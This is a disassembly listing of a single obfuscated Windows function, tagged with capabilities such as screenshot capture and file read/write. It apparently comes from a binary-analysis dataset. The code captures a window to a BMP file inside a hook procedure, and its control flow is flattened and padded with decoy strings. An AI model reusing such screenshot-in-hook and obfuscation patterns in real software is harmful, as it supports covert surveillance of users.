Function at 0x18001f4e0
Capabilities:
Capture screenshot
Get file attributes
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd08]
sub rsp, 0xe08
imul eax, edx, 0x558
mov rdi, r8
mov esi, edx
mov dword [rsp + 0x50], edx
mov r14, rcx
mov ebx, edx
mov dword [rbp - 0x48], eax
cmp edx, eax
ja 0x180020223
mov r12, qword [rbp - 0x20]
xor ecx, ecx
mov r13d, dword [rbp + 0xd58]
mov r15d, dword [rsp + 0x58]
lea edx, [rcx + 2]
lea r8d, [rcx + 1]
nop word [rax + rax]
cmp ebx, 0x2ac6
ja 0x18001fbd0
je 0x18001fb9e
cmp ebx, 0xa44
ja 0x18001f6cc
je 0x18001f67a
mov eax, ebx
sub eax, 0x24
je 0x18001f610
sub eax, 0x28
je 0x18001f5b8
sub eax, 0x4a
je 0x18001f59e
cmp eax, 0x53
jne 0x180020200
mov rax, qword [r9]
mov qword [rbp - 0x28], rax
jmp 0x180020200
movsd xmm0, qword [r9]
mov eax, dword [rdi]
movsd qword [rbp + 0xc7c], xmm0
mov dword [rbp + 0xc6c], eax
jmp 0x180020200
lea rdx, [0x180095278]
mov rcx, rdi
call fcn.180074404
mov qword [rbp - 0x30], rax
test rax, rax
jne 0x18001f5dc
lea rcx, str.writing_RSA_key
jmp 0x18001fc6e
mov edx, 4
mov dword [0x1800ce908], 0
mov r9, rax
lea rcx, [0x1800ce908]
lea r8d, [rdx - 3]
call fcn.180074690
cmp rax, 1
je 0x18001f66f
lea rcx, str.context__awaiting_pop
jmp 0x18001fc6e
mov rax, qword [rdi]
lea rdx, [rbp - 0x60]
mov r15d, ecx
mov dword [rsp + 0x58], ecx
mov word [rsp + 0x50], r8w
mov ecx, 0x42
lea r8, [rsp + 0x50]
mov qword [rbp - 0x60], rax
call fcn.180018420
cdqe
lea r8, [rsp + 0x50]
mov qword [rbp - 0x60], rax
lea rdx, [rbp - 0x80]
mov eax, 2
mov r9d, 0x53
mov word [rsp + 0x50], ax
xor ecx, ecx
mov rax, qword [rdi]
mov qword [rbp - 0x80], rax
call fcn.18002dab0
mov ecx, eax
call fcn.18007218c
mov qword [rbp - 0x80], rax
xor ecx, ecx
lea r8d, [rcx + 1]
jmp 0x1800201f4
mov rax, qword [rdi]
lea r8, [rbp - 0x58]
mov rcx, qword [rbp - 0x80]
mov r9d, 0x53
mov word [rbp - 0x58], dx
lea rdx, [rbp - 0x78]
mov qword [rbp - 0x78], rax
call fcn.18002dab0
cmp dword [r14], 0
mov rax, qword [rbp - 0x60]
je 0x18001f6bd
xor r9d, r9d
mov dword [rbp - 0x50], eax
xor edx, edx
lea rcx, [rbp - 0x50]
mov r8d, 0xd0
call fcn.18005a820
xor ecx, ecx
mov qword [rbp - 0x78], rax
lea r8d, [rcx + 1]
jmp 0x1800201f4
cmp ebx, 0x1464
je 0x18001f788
cmp ebx, 0x15ac
je 0x18001f755
cmp ebx, 0x1e84
je 0x18001f741
cmp ebx, 0x28a4
jne 0x180020200
mov rax, qword [rdi]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x40], rcx
xor r8d, r8d
mov qword [rsp + 0x38], rcx
xor edx, edx
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0xf0]
mov dword [rsp + 0x60], r15d
mov dword [rsp + 0x20], 0x28
call fcn.180036ed0
xor ecx, ecx
lea r8d, [rcx + 1]
jmp 0x1800201f4
mov rcx, qword [rbp - 0x80]
call fcn.180072184
xor ecx, ecx
lea r8d, [rcx + 1]
jmp 0x1800201f4
mov ecx, dword [0x1800ce908]
cmp ecx, 0x64
ja 0x18001f77c
imul eax, ecx, 0x3f
mov dword [0x1800ce90c], eax
lea eax, [rcx + rcx*8]
shl eax, 2
mov dword [0x1800ce910], eax
xor ecx, ecx
jmp 0x180020200
lea rcx, str.__0SURF_OCL_ocl_cv__QAE_ABV012__Z
jmp 0x18001fc6e
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x18001fb81
mov r15d, 0xd2
mov dword [rsp + 0x60], r15d
nop dword [rax + rax]
mov eax, r15d
sub eax, 0xd0
je 0x18001fb35
sub eax, 1
je 0x18001fb2d
cmp eax, 1
jne 0x18001fb42
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rdi
mov qword [rbp - 0x20], rax
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
mov qword [rbp - 0x38], rax
mov rbx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov qword [rbp + 0x30], rax
mov r14, rax
test rax, rax
je 0x18001fb20
mov esi, 0x76
mov dword [rbp - 0x70], esi
lea r15d, [rsi - 0x56]
cmp esi, 0x76
je 0x18001fae7
cmp esi, 0x50aa
je 0x18001faae
cmp esi, 0xa0de
jne 0x18001fb04
test r12, r12
je 0x18001fa9b
mov rdx, r12
mov rcx, r14
call qword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [rsp + 0x74]
xor r8d, r8d
mov eax, dword [rsp + 0x70]
mov edx, dword [rsp + 0x7c]
mov r9d, dword [rsp + 0x78]
sub edx, ecx
mov dword [rsp + 0x40], 0xcc0020
sub r9d, eax
mov dword [rsp + 0x38], ecx
mov rcx, r14
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], edx
xor edx, edx
call qword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
je 0x18001fa7f
mov r14, qword [rbp + 0x28]
xor edx, edx
mov ebx, edx
mov esi, 0x4d42
lea edi, [rdx + 8]
nop dword [rax]
cmp ebx, 7
ja case.default.0x18001f8bd
lea r8, [0x180000000]
mov eax, ebx
mov ecx, dword [r8 + rax*4 + 0x2023c]
add rcx, r8
jmp rcx
mov qword [rbp], 0
jmp case.default.0x18001f8bd
movzx eax, word [rbp - 0xa]
mov ecx, 0x42
imul eax, dword [rbp + 0x3c]
mov qword [rbp + 8], 0
add eax, 0x1f
cdq
and edx, 0x1f
lea r13d, [rdx + rax]
sar r13d, 5
imul r13d, dword [rbp + 0x40]
shl r13d, 2
mov edx, r13d
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rbp - 0x40], rax
xor edx, edx
jmp case.default.0x18001f8bd
lea r8, [rbp + 0x38]
mov edx, r15d
mov rcx, r12
call qword [sym.imp.GDI32.dll_GetObjectW]
mov eax, dword [rbp + 0x3c]
xor edx, edx
mov dword [rbp - 0x14], eax
mov eax, dword [rbp + 0x40]
mov dword [rbp - 0x10], eax
mov dword [rbp - 0x18], 0x28
jmp case.default.0x18001f8bd
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x68]
mov rdx, qword [rbp + 0x20]
mov r8d, r13d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
jmp case.default.0x18001f8bd
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov r9d, dword [rbp + 0x40]
lea rcx, [rbp - 0x18]
mov dword [rsp + 0x30], 0
xor r8d, r8d
mov qword [rsp + 0x28], rcx
mov rdx, r12
mov rcx, qword [rbp - 0x38]
mov qword [rbp + 0x20], rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.GDI32.dll_GetDIBits]
xor edx, edx
jmp case.default.0x18001f8bd
mov dword [rsp + 0x68], edx
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov r8d, 0xe
lea rdx, [rbp + 0x10]
mov word [rbp + 0x10], si
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], 0
mov r8d, 0x28
lea rdx, [rbp - 0x18]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor edx, edx
jmp case.default.0x18001f8bd
mov rcx, qword [rbp - 0x80]
mov eax, 2
mov qword [rsp + 0x30], rdx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0xc0000000
xor r8d, r8d
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [r13 + 0x36]
mov dword [rbp + 0x1a], 0x36
mov dword [rbp + 0x12], ecx
mov r14, rax
xor edx, edx
jmp case.default.0x18001f8bd
mov qword [rbp - 0xc], 0x200001
mov dword [rbp - 4], edx
inc ebx
sub rdi, 1
jne 0x18001f8a0
mov esi, dword [rbp - 0x70]
mov rcx, r12
mov rbx, qword [rbp - 0x38]
mov rdi, qword [rbp - 0x78]
mov qword [rbp + 0x28], r14
mov r14, qword [rbp + 0x30]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x18001fb04
mov rcx, r12
mov dword [rsp + 0x58], 3
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x18001fb04
mov rcx, r14
mov dword [rsp + 0x58], 2
call qword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x18001fb04
mov r8d, dword [rsp + 0x7c]
mov rcx, rbx
mov edx, dword [rsp + 0x78]
add r8d, 5
mov eax, dword [rsp + 0x70]
add edx, 5
sub eax, 5
mov dword [rsp + 0x7c], r8d
sub r8d, dword [rsp + 0x74]
mov dword [rsp + 0x78], edx
sub edx, eax
mov dword [rsp + 0x70], eax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov r12, rax
jmp 0x18001fb04
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, 4
call qword [sym.imp.USER32.dll_GetSystemMetrics]
sub dword [rsp + 0x74], eax
add esi, 0x5034
mov dword [rbp - 0x70], esi
cmp esi, 0xf09c
jbe 0x18001f811
mov r15d, dword [rsp + 0x60]
jmp 0x18001fb42
mov r8d, 1
mov dword [rsp + 0x58], r8d
jmp 0x18001fb48
mov rdx, qword [rbp - 0x20]
xor ecx, ecx
jmp 0x18001fb3c
mov rdx, qword [rbp - 0x38]
mov rcx, rdi
call qword [sym.imp.USER32.dll_ReleaseDC]
mov r8d, 1
dec r15d
mov dword [rsp + 0x60], r15d
cmp r15d, 0xcf
ja 0x18001f7b0
mov r15d, dword [rsp + 0x58]
xor ecx, ecx
mov ebx, dword [rsp + 0x50]
mov rdi, qword [rbp + 0xd60]
mov esi, dword [rbp + 0xd58]
mov r14, qword [rbp + 0xd50]
jmp 0x1800201f4
mov rdi, qword [rbp + 0xd60]
mov r15d, 4
mov dword [rsp + 0x58], r15d
xor ecx, ecx
lea r8d, [r15 - 3]
jmp 0x1800201f4
xor r9d, r9d
mov dword [rsp + 0x60], 0x200
lea r8, [rsp + 0x60]
mov dword [rsp + 0x20], 0x157
mov rdx, r14
lea rcx, [rbp + 0x910]
call fcn.1800108e0
xor ecx, ecx
lea r8d, [rcx + 1]
jmp 0x1800201f4
cmp ebx, 0x55cc
ja 0x18001fcb0
je 0x180020215
cmp ebx, 0x2b0c
je 0x18001fc86
cmp ebx, 0x406c
je 0x18001fc3a
cmp ebx, 0x4271
je 0x18001fc2e
cmp ebx, 0x54f6
jne 0x180020200
mov ecx, 0xffffff2e
lea rdx, [rbp + 0x710]
call qword [0x1800ce8f0]
xor ecx, ecx
mov word [0x1800ce8f8], cx
lea r8d, [rcx + 1]
jmp 0x1800201f4
mov qword [0x1800e0568], rcx
jmp 0x180020200
mov eax, dword [0x1800ce910]
imul eax, dword [0x1800ce90c]
mov r9, qword [rbp - 0x30]
mov rcx, qword [0x1800ce918]
shl eax, 2
movsxd rdx, eax
call fcn.180074690
cmp rax, 1
je 0x18001f66f
lea rcx, str.noPasswordsFound
mov rdx, rdi
call fcn.18006ac90
xor ecx, ecx
mov ebx, 0x55cc
lea r8d, [rcx + 1]
jmp 0x1800201f4
mov eax, dword [0x1800ce910]
imul eax, dword [0x1800ce90c]
shl eax, 2
movsxd rcx, eax
call fcn.18007218c
xor ecx, ecx
mov qword [0x1800ce918], rax
lea r8d, [rcx + 1]
jmp 0x1800201f4
cmp ebx, 0x6b2c
je 0x1800201b7
cmp ebx, 0x808c
je 0x180020223
cmp ebx, 0x83f9
je 0x18001fce1
cmp ebx, 0xc581
je 0x180020223
jmp 0x180020200
mov r14, qword [rbp - 0x28]
lea rdx, [rbp + 0x510]
mov r8d, 0xff
mov rcx, qword [r14 + 0x18]
call qword [sym.imp.USER32.dll_GetClassNameW]
lea rcx, [rbp + 0x510]
call fcn.180071acc
mov rcx, rax
lea rdx, str.if_x2__maxx_
call fcn.18007cb70
test eax, eax
jne 0x18001fd51
cmp qword [0x1800e0568], 0
jne 0x18001fd51
test qword [0x1800ce7b0], 0x200
mov eax, 1
mov rcx, qword [r14 + 0x18]
mov qword [0x1800be6c0], rcx
mov qword [0x1800e0568], rax
je 0x18001fd51
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x510]
call fcn.180071acc
mov rcx, rax
lea rdx, str.FxProperties
call fcn.18007cb70
test eax, eax
jne 0x180020184
mov rdx, qword [0x1800ce7b0]
test rdx, 0x8400
je 0x18001fe29
mov ebx, 0xf9
nop dword [rax]
cmp ebx, 0xf9
je 0x18001fe03
cmp ebx, 0xac29
jne 0x18001fe17
mov byte [rbp + 0xd0], 0x18
bt rdx, 0xa
jae 0x18001fdd4
mov rcx, qword [0x1800be6c0]
lea r9, [rbp + 0xc0]
mov edx, 0x440
mov r8d, 0xa002
call qword [sym.imp.USER32.dll_SendMessageW]
mov rdx, qword [0x1800ce7b0]
bt rdx, 0xf
jae 0x18001fe17
mov rcx, qword [0x1800be6c0]
lea r9, [rbp + 0xc0]
mov edx, 0x440
mov r8d, 0xa001
call qword [sym.imp.USER32.dll_SendMessageW]
mov rdx, qword [0x1800ce7b0]
jmp 0x18001fe17
mov dword [rbp + 0xc0], 0x30
mov dword [rbp + 0xc4], 4
add ebx, 0xab30
cmp ebx, 0x15660
jbe 0x18001fd90
mov ecx, dword [r14 + 0x10]
sub ecx, 0x4e
je 0x18001feeb
sub ecx, 0x37
je 0x18001fe47
cmp ecx, 0xfad
jne 0x180020184
test dl, 4
je 0x18001feeb
mov rcx, qword [r14 + 0x18]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1004
call qword [sym.imp.USER32.dll_SendMessageW]
movsxd rsi, eax
xor eax, eax
mov edi, eax
test rsi, rsi
jle 0x18001fedd
mov ebx, 0x26
cmp ebx, 0x26
je 0x1800200a3
cmp ebx, 0xf4a
je 0x18002009b
cmp ebx, 0x1e6e
je 0x180020072
cmp ebx, 0x2d92
jne 0x18001fec7
lea rcx, [rbp + 0x310]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x18001fec5
movsxd r8, edi
xor r9d, r9d
mov edx, 0x1008
mov rcx, qword [r14 + 0x18]
call qword [sym.imp.USER32.dll_SendMessageW]
xor eax, eax
add ebx, 0xf24
cmp ebx, 0x3c90
jbe 0x18001fe76
inc rdi
cmp rdi, rsi
jl 0x18001fe71
mov rdi, qword [rbp + 0xd60]
mov rdx, qword [0x1800ce7b0]
xor ebx, ebx
mov byte [rbp + 0x110], bl
mov esi, ebx
bt rdx, 0xb
jae 0x18002017e
mov rcx, qword [r14 + 0x18]
lea r9d, [rbx + 2]
mov edx, 0x100c
lea r8, [rbx - 1]
call qword [sym.imp.USER32.dll_SendMessageW]
mov r14, rax
cmp eax, 0xffffffff
je 0x180020114
mov edi, 0x10a
nop dword [rax + rax]
cmp edi, 0x10a
je 0x1800200e9
cmp edi, 0x19f
je 0x1800200df
cmp edi, 0x234
jne 0x1800200fe
lea rax, [rbp + 0x310]
mov dword [rbp + 0x80], 0xff
mov qword [rbp + 0x78], rax
lea r9, [rbp + 0x60]
mov rax, qword [rbp - 0x28]
xor r8d, r8d
mov edx, 0x104b
mov rcx, qword [rax + 0x18]
call qword [sym.imp.USER32.dll_SendMessageW]
lea rcx, [rbp + 0x310]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x1800200fe
test byte [rbp + 0x6c], 2
je 0x1800200fe
mov ebx, 0x8c
nop word [rax + rax]
mov eax, ebx
sub eax, 0x8b
je 0x1800200af
cmp eax, 1
jne 0x1800200cd
xor eax, eax
mov ecx, eax
nop word [rax + rax]
lea rax, [0x1800be260]
movzx eax, byte [rcx + rax]
mov byte [rbp + rcx + 0x110], al
lea rcx, [rcx + 1]
test al, al
jne 0x18001ffd0
lea rcx, [rbp + 0x110]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
cmp byte [rcx + rax + 1], 0
lea rax, [rax + 1]
jne 0x180020000
cmp word [rbp + rax*2 + 0x10e], 0x5c
je 0x180020034
lea rcx, [rbp + 0x110]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180020020
movzx eax, word [0x18009653c]
mov word [rcx], ax
lea rcx, [rbp + 0x110]
dec rcx
nop
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180020040
lea r8, [rbp + 0x310]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180020060
jmp 0x1800200cd
mov dword [rbp + 0x68], eax
lea r9, [rbp + 0x60]
lea rax, [rbp + 0x310]
mov dword [rbp + 0x80], 0xff
mov qword [rbp + 0x78], rax
xor r8d, r8d
mov edx, 0x104b
jmp 0x18001febb
mov dword [rbp + 0x64], edi
jmp 0x18001fec7
mov dword [rbp + 0x60], 5
jmp 0x18001fec7
mov rcx, qword [0x1800be688]
lea r8, [rbp + 0x110]
mov edx, 0x3fe
call qword [sym.imp.USER32.dll_SetDlgItemTextW]
mov esi, 1
dec ebx
cmp ebx, 0x8a
ja 0x18001ffb0
xor ebx, ebx
jmp 0x1800200fe
mov eax, 2
mov dword [rbp + 0x70], eax
jmp 0x1800200fe
mov byte [rbp + 0x310], 0
mov dword [rbp + 0x60], 9
mov dword [rbp + 0x64], r14d
mov dword [rbp + 0x68], ebx
add edi, 0x95
cmp edi, 0x2c9
jb 0x18001ff30
test esi, esi
jne 0x180020177
mov rcx, rbx
nop word [rax + rax]
lea rax, [0x180000000]
movzx eax, byte [rcx + rax + 0xbe370]
mov byte [rbp + rcx + 0x110], al
lea rcx, [rcx + 1]
test al, al
jne 0x180020120
lea rcx, [rbp + 0x110]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x180020150
test rax, rax
je 0x180020177
mov rcx, qword [0x1800be688]
lea r8, [0x1800be260]
mov edx, 0x3fe
call qword [sym.imp.USER32.dll_SetDlgItemTextW]
mov rdi, qword [rbp + 0xd60]
mov esi, dword [rbp + 0xd58]
mov r9, qword [rbp + 0xd68]
mov r14, qword [rbp + 0xd50]
mov edx, dword [rdi]
mov rcx, qword [0x1800ce780]
mov r9, qword [r9]
mov r8, qword [r14]
call qword [sym.imp.USER32.dll_CallNextHookEx]
mov ebx, dword [rsp + 0x50]
xor ecx, ecx
mov qword [rbp - 0x68], rax
lea r8d, [rcx + 1]
jmp 0x1800201f4
mov rcx, qword [0x1800ce918]
test rcx, rcx
je 0x1800201ce
call fcn.180072184
mov r8d, 1
mov rax, qword [rbp - 0x30]
xor ecx, ecx
mov qword [0x1800ce918], rcx
test rax, rax
je 0x1800201f0
mov rcx, rax
call fcn.18007412c
xor ecx, ecx
mov r8d, 1
mov dword [rbp - 0x68], r8d
mov r9, qword [rbp + 0xd68]
mov edx, 2
lea eax, [rsi + rsi*8]
lea ebx, [rbx + rax*8]
mov dword [rsp + 0x50], ebx
cmp ebx, dword [rbp - 0x48]
jbe 0x18001f550
jmp 0x180020223
mov rcx, qword [rbp - 0x30]
call fcn.18007412c
xor eax, eax
mov dword [rbp - 0x68], eax
mov rax, qword [rbp - 0x68]
add rsp, 0xe08
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret